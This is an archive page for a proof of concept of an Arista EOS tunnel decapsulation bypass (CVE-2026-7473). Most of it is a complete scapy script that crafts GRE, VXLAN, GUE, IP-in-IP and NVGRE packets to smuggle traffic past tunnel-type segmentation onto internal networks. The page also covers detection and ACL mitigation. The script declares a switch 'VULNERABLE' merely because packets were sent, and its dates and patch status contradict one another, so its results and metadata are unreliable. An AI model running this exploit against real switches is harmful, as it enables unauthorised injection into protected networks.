PoC Archive PoC Archive
Medium CVE-2026-7473 unpatched

Arista EOS Tunnel Decapsulation Protocol-Type Bypass — CVE-2026-7473

by fevar54 · 2026-07-05

CVSS 5.8/10
Severity
Medium
CVE
CVE-2026-7473
Category
network
Affected product
Arista EOS (switches configured as tunnel decapsulation endpoints: VXLAN VTEP, GRE tunnel interface, or ip decap-group)
Affected versions
EOS 4.36.x, 4.35.x, 4.34.x, 4.33.x, 4.32.x, 4.31.x, 4.30.x, and earlier trains, per source repository. 7020R, 7280R/R2, and 7500R/R2 series fully affected; 7280R3, 7500R3, and 7800R3 series have limited exposure (IP-in-IPv6, GUEv6)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherfevar54
CVE / AdvisoryCVE-2026-7473
Categorynetwork
SeverityMedium
CVSS Score5.8 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N); CVSSv4: 6.8
StatusPoC
Tagsarista, eos, vxlan, gre, gue, ipip, nvgre, tunnel-decapsulation, cwe-1023, packet-crafting
RelatedN/A

Affected Target

FieldValue
Software / SystemArista EOS (switches configured as tunnel decapsulation endpoints: VXLAN VTEP, GRE tunnel interface, or ip decap-group)
Versions AffectedEOS 4.36.x, 4.35.x, 4.34.x, 4.33.x, 4.32.x, 4.31.x, 4.30.x, and earlier trains, per source repository. 7020R, 7280R/R2, and 7500R/R2 series fully affected; 7280R3, 7500R3, and 7800R3 series have limited exposure (IP-in-IPv6, GUEv6)
Language / PlatformPython 3 (scapy-based packet crafting)
Authentication RequiredNo
Network Access RequiredYes — attacker must be able to send crafted IP packets to the switch’s configured decapsulation IP

Summary

Arista EOS switches configured as a tunnel decapsulation endpoint (for VXLAN, GRE, or generic ip decap-group/GUE/IP-in-IP profiles) incorrectly decapsulate and forward tunneled packets of an unexpected/non-configured protocol type as long as the outer destination IP matches the switch’s configured decapsulation IP. Because the switch does not verify that the tunnel protocol type matches what was actually configured (CWE-1023: Incomplete Comparison with Missing Factors), an attacker can send GRE traffic to a VXLAN-only endpoint (or vice versa), as well as IP-in-IP, NVGRE, and GUE traffic, and have it decapsulated and forwarded onto the internal network — bypassing the intended tunnel-type isolation.


Vulnerability Details

Root Cause

The decapsulation logic on affected EOS platforms matches incoming tunneled packets to a decapsulation action based only on the destination IP address, without verifying that the outer packet’s protocol/port actually corresponds to the tunnel type configured for that IP (e.g. UDP/4789 for VXLAN vs. IP protocol 47 for GRE). This missing protocol-type check allows any tunnel-encapsulated traffic destined to the decap IP to be decapsulated and forwarded, regardless of which tunnel technology was actually provisioned.

Attack Vector

  1. Identify a target Arista EOS switch configured as a tunnel endpoint (VXLAN VTEP, GRE tunnel interface, or ip decap-group), and determine its configured decapsulation IP (e.g., via show interfaces vxlan 1, show interfaces Tunnel0, show ip decap-group, or network reconnaissance).
  2. Craft a tunneled packet of a protocol type different from what is configured — e.g., a raw GRE packet (IP protocol 47) sent to a switch configured only for VXLAN, or a VXLAN packet (UDP/4789) sent to a switch configured only for GRE. The PoC also supports IP-in-IP, NVGRE, and GUE encapsulations.
  3. Send the crafted packet (via scapy or raw socket) with its outer destination IP set to the switch’s decapsulation IP.
  4. The vulnerable switch decapsulates the packet despite the protocol-type mismatch and forwards the inner payload onto the internal network as if it were legitimately tunneled traffic.
  5. Verify improper forwarding by monitoring the expected internal egress segment or switch ACL/log counters for the injected inner payload.

Impact

Allows an external attacker to inject packets that get forwarded onto internal network segments behind the tunnel endpoint, bypassing tunnel-type-based traffic segregation/isolation assumptions (e.g., an ACL or design that assumes only VXLAN reaches a VTEP will also permit smuggled GRE/IP-in-IP/NVGRE/GUE payloads through). This is primarily an integrity/isolation-bypass issue (no direct confidentiality or availability impact per the CVSS vector) but can be leveraged to smuggle traffic past network segmentation controls.


Environment / Lab Setup

Target:   Arista EOS switch/device configured as a VXLAN VTEP, GRE tunnel endpoint, or ip decap-group with a known decapsulation IP
Attacker: Linux host with Python 3, scapy, and raw-socket/root privileges on a network interface with reachability to the target's decapsulation IP

Proof of Concept

PoC Script

See arista_tunnel_bypass.py in this folder.

1
python3 arista_tunnel_bypass.py -t 10.1.1.1 -d 192.168.1.100 --exploit all

The script builds and sends crafted GRE, VXLAN, GUE, IP-in-IP, and NVGRE packets (via scapy, with a raw-socket fallback) to the specified decapsulation IP, targeting protocol-type mismatches such as GRE-over-VXLAN-configured and VXLAN-over-GRE-configured switches. Individual exploit types can be selected with --exploit vxlan-gre|gre-vxlan|gre-ipip|gue|nvgre, and --check-config prints the EOS commands to verify a vulnerable tunnel configuration. Successful bypass must be confirmed by manually monitoring the switch’s internal-facing segment or log/ACL counters, as the tool itself does not verify forwarding.


Detection & Indicators of Compromise

show log | grep -E "GRE|VXLAN|GUE|unexpected"
show mac access-lists bar   # ACL counters for unexpected tunnel traffic

Signs of compromise:

  • Tunneled traffic of a protocol type not matching the configured tunnel technology appearing on internal network segments
  • GRE packets arriving/being forwarded on switches configured only for VXLAN decapsulation, or vice versa
  • Unexpected IP-in-IP, NVGRE, or GUE traffic reaching internal hosts behind a tunnel endpoint

Remediation

ActionDetail
Primary fixApply the fix/mitigation referenced in Arista Security Advisory 0137; contact Arista TAC for TCAM profile guidance on affected platforms
Interim mitigationDeploy upstream ACLs that explicitly permit only the intended tunnel protocol/port to the decapsulation IP and deny all other IP traffic to that address (e.g., permit UDP/4789 only for VXLAN, deny all other IP to the decap IP)

References


Notes

Mirrored from https://github.com/fevar54/CVE-2026-7473---Arista-EOS-Tunnel-Decapsulation-Bypass on 2026-07-05. Caveat for archive readers: the source GitHub account (fevar54) matches a known low-quality/templated “farm account” pattern seen across many repos claiming to cover various CVEs. This specific repository was individually verified to unusually contain genuine, substantive scapy-based GRE/VXLAN/GUE/IP-in-IP/NVGRE packet-crafting code and was confirmed clean, but the account’s broader history should be treated with caution.

arista_tunnel_bypass.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
#!/usr/bin/env python3
"""
CVE-2026-7473 - Arista EOS Tunnel Protocol Bypass Exploit

Vulnerability: On affected Arista EOS platforms with tunnel decapsulation
(VXLAN, decap-groups, or GRE tunnel interface), the switch incorrectly
decapsulates and forwards unexpected tunneled packets whose destination IP
matches its configured decapsulation IP due to missing tunnel protocol
type verification.

CVSS: 5.8 (Medium) / CVSSv4: 6.8
CWE: 1023 - Incomplete Comparison with Missing Factors
CISA KEV: Added 2026-06-09, Due 2026-06-23

Author: Security Research
Disclaimer: For authorized security testing only
"""

import socket
import struct
import argparse
import random
import sys
from scapy.all import *
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether

# ANSI Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"


class AristaTunnelBypass:
    def __init__(self, target_ip, decap_ip, interface="eth0"):
        self.target_ip = target_ip
        self.decap_ip = decap_ip
        self.interface = interface
        self.sock = None
        
    def create_gre_packet(self, inner_payload, src_ip=None):
        """
        Build GRE packet (Protocol 47)
        When switch is configured for VXLAN, this should be blocked
        but vulnerability allows decapsulation
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # GRE header (RFC 2784)
        gre_header = struct.pack("!BBH", 
            0x00,           # Flags (checksum present)
            0x00,           # Version/Reserved
            0x0800          # Ethertype (IPv4)
        )
        
        # IP header for outer packet
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47)  # GRE protocol
        
        # Inner packet (payload that will be forwarded)
        inner_ip = IP(src=src_ip, dst=inner_payload["dst"])
        inner_udp = UDP(sport=inner_payload.get("sport", 12345), 
                        dport=inner_payload.get("dport", 80))
        inner_data = inner_payload.get("data", b"GET / HTTP/1.1\r\nHost: target\r\n\r\n")
        
        inner_packet = inner_ip / inner_udp / inner_data
        
        # Full GRE packet
        gre_packet = outer_ip / GRE(proto=0x800) / inner_packet
        
        return gre_packet
    
    def create_vxlan_packet(self, inner_payload, src_ip=None):
        """
        Build VXLAN packet (UDP 4789)
        When switch is configured for GRE, this should be blocked
        but vulnerability allows decapsulation
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        vni = random.randint(1, 16777215)
        
        # VXLAN header (8 bytes)
        vxlan_header = struct.pack("!BBH I",
            0x08,           # Flags (I flag set)
            0x00,           # Reserved
            0x0000,         # Reserved
            (vni << 8)      # VXLAN Network Identifier (24 bits)
        )
        
        # Outer UDP packet for VXLAN
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17)  # UDP
        outer_udp = UDP(sport=random.randint(30000, 60000), dport=4789)
        
        # Inner packet (Ethernet frame)
        inner_eth = Ether(src="00:11:22:33:44:55", dst="ff:ff:ff:ff:ff:ff")
        inner_ip = IP(src="192.168.1.100", dst=inner_payload["dst"])
        inner_data = inner_payload.get("data", b"VXLAN test payload")
        
        inner_frame = inner_eth / inner_ip / inner_data
        
        # Full VXLAN packet
        vxlan_packet = outer_ip / outer_udp / vxlan_header / inner_frame
        
        return vxlan_packet
    
    def create_gue_packet(self, inner_payload, src_ip=None):
        """
        Build GUE (Generic UDP Encapsulation) packet
        Vulnerability allows decapsulation of GUE on switches configured
        for GRE or VXLAN
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # GUE header (RFC 7637)
        gue_header = struct.pack("!BBH",
            0x00,           # Version=0, Control=0, Encapsulation=0
            0x00,           # Flags
            0x0800          # Next Protocol (IPv4)
        )
        
        # Outer UDP
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17)
        outer_udp = UDP(sport=random.randint(30000, 60000), 
                        dport=inner_payload.get("gue_port", 6080))
        
        # Inner payload
        inner_ip = IP(src="172.16.0.1", dst=inner_payload["dst"])
        inner_icmp = ICMP(type=8, code=0)  # Echo request
        
        # Full GUE packet
        gue_packet = outer_ip / outer_udp / gue_header / inner_ip / inner_icmp
        
        return gue_packet
    
    def create_ipip_packet(self, inner_payload, src_ip=None):
        """
        Build IP-in-IP packet (Protocol 4)
        Vulnerability allows decapsulation on switches configured for GRE
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # Outer IP header with protocol 4 (IP-in-IP)
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=4)
        
        # Inner IP packet
        inner_ip = IP(src="10.0.0.1", dst=inner_payload["dst"])
        inner_udp = UDP(sport=53, dport=53)
        inner_data = inner_payload.get("data", b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01")
        
        # Full IP-in-IP packet
        ipip_packet = outer_ip / inner_ip / inner_udp / inner_data
        
        return ipip_packet
    
    def create_nvgre_packet(self, inner_payload, src_ip=None):
        """
        Build NVGRE (Network Virtualization GRE) packet
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # NVGRE header (GRE with TNI - Tenant Network Identifier)
        nvgre_header = struct.pack("!BBH I",
            0x00,           # Flags
            0x00,           # Reserved
            0x6558,         # Ethertype (Transparent Ethernet Bridging)
            0x00000001      # TNI (24 bits)
        )
        
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47)
        
        # Inner Ethernet frame
        inner_eth = Ether(src="aa:bb:cc:dd:ee:ff", dst="11:22:33:44:55:66")
        inner_ip = IP(src="192.168.100.1", dst=inner_payload["dst"])
        
        nvgre_packet = outer_ip / GRE(proto=0x6558) / inner_eth / inner_ip
        
        return nvgre_packet
    
    def send_packet(self, packet, tunnel_type):
        """Send crafted tunnel packet to target"""
        try:
            print(f"{Y}[*] Sending {tunnel_type} packet to {self.decap_ip}{RESET}")
            
            # For Scapy packets
            if hasattr(packet, 'show'):
                send(packet, iface=self.interface, verbose=False)
                print(f"{G}[+] {tunnel_type} packet sent via Scapy{RESET}")
            else:
                # Raw socket fallback
                self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
                self.sock.sendto(bytes(packet), (self.target_ip, 0))
                print(f"{G}[+] {tunnel_type} packet sent via raw socket{RESET}")
            
            return True
        except Exception as e:
            print(f"{R}[-] Error sending {tunnel_type} packet: {e}{RESET}")
            return False
    
    def verify_forwarding(self, monitor_ip, timeout=5):
        """
        Verify if the tunnel packet was improperly forwarded
        This would require monitoring on the expected egress interface
        """
        print(f"{Y}[*] Monitoring for forwarded traffic to {monitor_ip}{RESET}")
        print(f"{Y}[!] Manual verification required - check switch logs{RESET}")
        print(f"{B}[+] Expected result: Packet appears on internal network{RESET}")
        
    def exploit_vxlan_to_gre(self):
        """Exploit: VXLAN configured -> send GRE packet"""
        print(f"\n{B}{BOLD}[+] Phase 1: VXLAN -> GRE Bypass{RESET}")
        print(f"{Y}Switch configured with VXLAN decapsulation{RESET}")
        print(f"{Y}Sending GRE packet - should be blocked but vulnerability allows{RESET}")
        
        payload = {
            "dst": "192.168.100.50",
            "data": b"GRE_OVER_VXLAN_BYPASS_" + random.randbytes(10)
        }
        
        gre_packet = self.create_gre_packet(payload)
        return self.send_packet(gre_packet, "GRE (over VXLAN configured switch)")
    
    def exploit_gre_to_vxlan(self):
        """Exploit: GRE configured -> send VXLAN packet"""
        print(f"\n{B}{BOLD}[+] Phase 2: GRE -> VXLAN Bypass{RESET}")
        print(f"{Y}Switch configured with GRE decapsulation{RESET}")
        print(f"{Y}Sending VXLAN packet - should be blocked but vulnerability allows{RESET}")
        
        payload = {
            "dst": "10.20.30.40",
            "data": b"VXLAN_OVER_GRE_BYPASS_" + random.randbytes(10)
        }
        
        vxlan_packet = self.create_vxlan_packet(payload)
        return self.send_packet(vxlan_packet, "VXLAN (over GRE configured switch)")
    
    def exploit_gre_to_ipip(self):
        """Exploit: GRE configured -> send IP-in-IP packet"""
        print(f"\n{B}{BOLD}[+] Phase 3: GRE -> IP-in-IP Bypass{RESET}")
        print(f"{Y}Switch configured with GRE decapsulation{RESET}")
        print(f"{Y}Sending IP-in-IP packet - should be decapsulated{RESET}")
        
        payload = {
            "dst": "172.31.0.1",
            "data": b"IPIP_OVER_GRE_TEST"
        }
        
        ipip_packet = self.create_ipip_packet(payload)
        return self.send_packet(ipip_packet, "IP-in-IP (over GRE configured switch)")
    
    def exploit_any_to_gue(self):
        """Exploit: Any config -> send GUE packet"""
        print(f"\n{B}{BOLD}[+] Phase 4: GUE Bypass{RESET}")
        print(f"{Y}Sending GUE packet to decapsulation IP{RESET}")
        
        payload = {
            "dst": "10.99.99.99",
            "gue_port": 6080,
            "data": b"GUE_BYPASS_PAYLOAD"
        }
        
        gue_packet = self.create_gue_packet(payload)
        return self.send_packet(gue_packet, "GUE")
    
    def exploit_nvgre_to_vxlan(self):
        """Exploit: NVGRE to VXLAN with TNI matching VNI"""
        print(f"\n{B}{BOLD}[+] Phase 5: NVGRE -> VXLAN Bypass{RESET}")
        print(f"{Y}Requires TNI matching configured VXLAN VNI{RESET}")
        
        payload = {
            "dst": "192.168.200.1",
            "vni": 100
        }
        
        nvgre_packet = self.create_nvgre_packet(payload)
        return self.send_packet(nvgre_packet, "NVGRE (over VXLAN configured switch)")
    
    def scan_for_decap_ip(self, start_ip, end_ip):
        """
        Scan for potential decapsulation IPs by sending probe packets
        """
        print(f"{Y}[*] Scanning for decapsulation IPs...{RESET}")
        
        decap_ips = []
        
        # Convert IP ranges
        start = struct.unpack('!I', socket.inet_aton(start_ip))[0]
        end = struct.unpack('!I', socket.inet_aton(end_ip))[0]
        
        for ip_int in range(start, end + 1):
            ip = socket.inet_ntoa(struct.pack('!I', ip_int))
            
            # Send probe to detect if IP responds to tunnel traffic
            probe_payload = {
                "dst": "127.0.0.1",
                "data": b"PROBE_" + str(ip_int).encode()
            }
            
            gre_probe = self.create_gre_packet(probe_payload)
            # Send and check for ICMP responses
            
        return decap_ips


def check_vulnerable_configuration():
    """Check if the Arista switch has vulnerable configuration"""
    print(f"{B}[*] Checking for vulnerable configuration indicators:{RESET}")
    print(f"{Y}1. Check if device is a tunnel endpoint:{RESET}")
    print(f"   show interfaces vxlan 1")
    print(f"   show interfaces Tunnel0")
    print(f"   show ip decap-group\n")
    
    print(f"{Y}2. Indicators of compromise:{RESET}")
    print(f"   - Unexpected traffic on internal network segments")
    print(f"   - Tunnel traffic of non-configured protocols being decapsulated")
    print(f"   - MAC/ACL counters showing blocked unexpected traffic\n")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Send GRE packet to VXLAN-configured switch
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit vxlan-gre
  
  # Send VXLAN to GRE-configured switch  
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gre-vxlan
  
  # Send GUE packet
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gue
  
  # Send all exploit types
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit all
        """
    )
    
    parser.add_argument("-t", "--target", required=True, help="Target switch IP")
    parser.add_argument("-d", "--decap-ip", required=True, help="Decapsulation IP configured on switch")
    parser.add_argument("-i", "--interface", default="eth0", help="Network interface (default: eth0)")
    parser.add_argument("--exploit", choices=["vxlan-gre", "gre-vxlan", "gre-ipip", 
                                               "gue", "nvgre", "all"],
                       default="all", help="Exploit type to run")
    parser.add_argument("--scan", action="store_true", help="Scan for decapsulation IPs")
    parser.add_argument("--check-config", action="store_true", help="Check vulnerable configuration")
    
    args = parser.parse_args()
    
    print(f"{R}{BOLD}")
    print("╔═══════════════════════════════════════════════════════════════════╗")
    print("║  CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass          ║")
    print("║  Tunnel Protocol Type Verification Missing                        ║")
    print("║  CVSS: 5.8 (Medium) | CISA KEV: 2026-06-09                       ║")
    print("╚═══════════════════════════════════════════════════════════════════╝")
    print(f"{RESET}")
    
    print(f"{Y}[!] WARNING: This tool demonstrates unauthorized tunnel decapsulation{RESET}")
    print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n")
    
    print(f"{B}[*] Target: {args.target}{RESET}")
    print(f"{B}[*] Decapsulation IP: {args.decap_ip}{RESET}")
    print(f"{B}[*] Interface: {args.interface}{RESET}\n")
    
    if args.check_config:
        check_vulnerable_configuration()
        sys.exit(0)
    
    exploit = AristaTunnelBypass(args.target, args.decap_ip, args.interface)
    
    try:
        if args.scan:
            print(f"{Y}[*] Scanning feature not fully implemented{RESET}")
            print(f"{Y}[!] Manual identification required{RESET}")
        
        success_count = 0
        
        if args.exploit in ["vxlan-gre", "all"]:
            if exploit.exploit_vxlan_to_gre():
                success_count += 1
        
        if args.exploit in ["gre-vxlan", "all"]:
            if exploit.exploit_gre_to_vxlan():
                success_count += 1
        
        if args.exploit in ["gre-ipip", "all"]:
            if exploit.exploit_gre_to_ipip():
                success_count += 1
        
        if args.exploit in ["gue", "all"]:
            if exploit.exploit_any_to_gue():
                success_count += 1
        
        if args.exploit in ["nvgre", "all"]:
            if exploit.exploit_nvgre_to_vxlan():
                success_count += 1
        
        print("\n" + "="*60)
        if success_count > 0:
            print(f"{R}{BOLD}[!] VULNERABLE: Switch improperly decapsulated tunnel traffic{RESET}")
            print(f"{R}[!] Unexpected tunnel packets were forwarded{RESET}")
            print(f"{Y}[*] Apply ACL mitigations per Arista Advisory SA-0137{RESET}")
        else:
            print(f"{G}{BOLD}[✓] No bypass detected - Switch may be patched or mitigated{RESET}")
        
        print(f"\n{B}[*] Mitigation: Apply ACLs to block unexpected tunnel protocols{RESET}")
        print(f"{B}[*] Reference: https://www.arista.com/en/support/advisories-notices/security-advisory/24005-security-advisory-0137{RESET}")
        
    except KeyboardInterrupt:
        print(f"\n{Y}[!] Interrupted by user{RESET}")
    except Exception as e:
        print(f"{R}[!] Error: {e}{RESET}")
    
    print("="*60)


if __name__ == "__main__":
    main()